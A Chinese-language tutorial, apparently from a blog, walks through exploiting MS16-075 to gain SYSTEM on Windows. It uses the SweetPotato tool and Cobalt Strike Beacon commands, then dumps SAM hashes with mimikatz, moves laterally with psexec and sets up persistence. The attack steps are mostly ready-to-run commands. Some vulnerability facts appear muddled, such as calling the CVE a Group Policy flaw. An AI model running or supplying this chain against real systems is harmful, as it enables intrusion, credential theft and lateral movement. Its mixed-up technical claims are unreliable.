MS16-075 漏洞 复现过程
目录
一、MS16-075 漏洞概述
二、为什么称之为“甜土豆”提权?
三、MS16-075 漏洞复现步骤
1. 下载 POC 和 EXP
2. 编译与准备 EXP
3. 利用 MS16-075 漏洞提权(本地执行)
4. 将 POC 转换为 Cobalt Strike Payload
四、通过 Cobalt Strike 进行提权的详细步骤
1. 上传工具至目标主机
2. 执行提权命令
3. 利用 CS 内置模块提权
五、提权成功后的进一步操作
总结
一、MS16-075 漏洞概述
- CVE编号: CVE-2016-3225
- 漏洞名称: Windows Group Policy Elevation of Privilege Vulnerability
- 影响版本:
- Windows Vista SP2
- Windows Server 2008 SP2 和 R2 SP1
- Windows 7 SP1
- Windows 8.1
- Windows Server 2012 和 2012 R2
- Windows 10(早期版本)
- 补丁发布: 2016年6月
漏洞描述:
MS16-075 漏洞利用 Windows 系统中 Group Policy(组策略)的权限提升问题,攻击者可以通过 SMB 请求的方式利用此漏洞,以 SYSTEM 权限执行任意代码。漏洞的核心原因在于 gpupdate
过程中的服务通信未进行适当的权限检查。
二、为什么称之为“甜土豆”提权?
- “甜土豆”(SweetPotato)提权的由来:
MS16-075 漏洞的利用方式与 “RottenPotato” 等系列漏洞(涉及 NTLM 中继攻击)有相似之处。- “RottenPotato” 是利用 DCOM 和 NTLM 中继进行提权的漏洞技术。
- “甜土豆”(SweetPotato)则是该系列漏洞的后续版本,使用了类似的 COM 服务劫持与本地中继技术。
- 命名原因: 开发者为了保持土豆系列的命名风格,称其为“甜土豆”。
三、MS16-075 漏洞复现步骤
环境准备:
- 目标机器: 未打补丁的 Windows 7/8/10 以及 Server 2008/2012
- 工具需求:
- Cobalt Strike (CS)
- MS16-075 漏洞利用脚本(EXP/POC)
- Mimikatz(可选,用于权限验证)
1. 下载 POC 和 EXP
- GitHub 下载地址:
- SweetPotato GitHub
- MS16-075 Exploit POC
- 注意: 直接访问 GitHub 链接下载源码并进行编译,通常是
C++
或C#
语言编写的。
2. 编译与准备 EXP
-
下载 SweetPotato 项目后,使用 Visual Studio 进行编译:
git clone https://github.com/CCob/SweetPotato.git cd SweetPotato msbuild SweetPotato.sln
-
成功编译后,你会得到
SweetPotato.exe
。
3. 利用 MS16-075 漏洞提权(本地执行)
命令示例:
SweetPotato.exe -p cmd.exe -a "/c whoami" -t 2
参数解析:
-p
: 指定要执行的程序(如 cmd.exe)。-a
: 传递给程序的参数。-t
: 使用不同的 COM 接口类型(通常使用2
或3
尝试)。
预期结果:
- 若漏洞利用成功,
whoami
的输出应为NT AUTHORITY\SYSTEM
。
4. 将 POC 转换为 Cobalt Strike Payload
方法一: 使用 Cobalt Strike 的外部工具模块
- 步骤:
- 将
SweetPotato.exe
上传至目标机器。 - 在 Beacon 中执行以下命令:
execute-assembly SweetPotato.exe -p cmd.exe -a "/c whoami" -t 2
- 预期结果: SYSTEM 权限的 Beacon shell。
- 将
方法二: 制作自定义 Reflective DLL
- 步骤:
- 将 SweetPotato 项目修改为 DLL 输出。
- 使用
Cobalt Strike
的Aggressor Script
加载该 DLL。 - 在 Beacon 会话中调用 DLL 进行提权。
四、通过 Cobalt Strike 进行提权的详细步骤
1. 上传工具至目标主机
- 在 Beacon 会话中使用:
upload C:\path\to\SweetPotato.exe
2. 执行提权命令
- 在 Beacon 中运行:
shell SweetPotato.exe -p cmd.exe -a "/c whoami" -t 2
预期结果:
- 如果成功,
whoami
会返回NT AUTHORITY\SYSTEM
。
3. 利用 CS 内置模块提权
- Cobalt Strike 内有
Token Impersonation
和Bypass UAC
等模块,可以辅助提权。 - 使用
bypassuac
命令尝试提权:bypassuac
- 若成功,Beacon 会话会提升为 SYSTEM 权限。
五、提权成功后的进一步操作
-
获取 SAM 与系统哈希:
mimikatz.exe "lsadump::sam" exit
-
横向移动:
- 使用
psexec
或wmiexec
进行横向移动。 - 示例:
psexec \\target_ip -u admin -p password cmd.exe
- 使用
-
持久化操作:
- 创建计划任务或修改启动项,确保重启后权限不丢失。
总结
- MS16-075漏洞核心: 通过 SMB 请求劫持权限,利用 COM 接口执行代码。
- 甜土豆提权: NTLM 中继 + COM 接口劫持的改进版,故称“甜土豆”。
- CS中提权步骤:
- 上传工具 -> 执行提权 -> 验证 SYSTEM 权限 -> 扩展操作 (如获取哈希、横向移动等)。
- 成功标志:
whoami
返回NT AUTHORITY\SYSTEM
。